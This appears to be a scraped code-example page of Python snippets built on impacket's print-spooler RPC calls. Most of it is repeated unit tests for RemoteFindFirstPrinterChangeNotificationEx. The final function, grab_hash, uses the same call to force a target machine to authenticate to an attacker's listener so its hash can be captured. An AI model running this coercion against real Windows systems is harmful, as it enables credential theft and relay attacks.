Exemple #1
0
    def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
        dce, rpctransport = self.connect()

        resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % self.machine)

        with assertRaisesRegex(self, rprn.DCERPCSessionError,
                               "ERROR_INVALID_HANDLE"):
            rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
                dce,
                resp['pHandle'],
                rprn.PRINTER_CHANGE_ADD_JOB,
                pszLocalMachine="\\\\%s\x00" % self.machine)
    def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
        dce, rpctransport = self.connect()

        resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine)

        try:
            resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'], rprn.PRINTER_CHANGE_ADD_JOB, pszLocalMachine = '\\\\%s\x00' % self.machine )
            resp.dump()
        except Exception as e:
            if str(e).find('ERROR_INVALID_HANDLE') < 0:
                raise
Exemple #3
0
    def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
        dce, rpctransport = self.connect()

        resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine)

        try:
            resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'], rprn.PRINTER_CHANGE_ADD_JOB, pszLocalMachine = '\\\\%s\x00' % self.machine )
            resp.dump()
        except Exception as e:
            if str(e).find('ERROR_INVALID_HANDLE') < 0:
                raise
def grab_hash(dce, handle, listener):
    global debug
    logging.info("sending RFFPCNEX...")
    try:
        resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
            dce,
            handle,
            rprn.PRINTER_CHANGE_ADD_JOB,
            pszLocalMachine='\\\\%s\x00' % listener)
        if debug is True:
            logging.info("raw response: ")
            resp.dump()
    except Exception as e:
        if str(e).find('RPC_S_SERVER_UNAVAILABLE') >= 0:
            logging.info(
                'Got expected RPC_S_SERVER_UNAVAILABLE exception. Attack worked'
            )
            pass
        else:
            logging.error("exception %s" % str(e))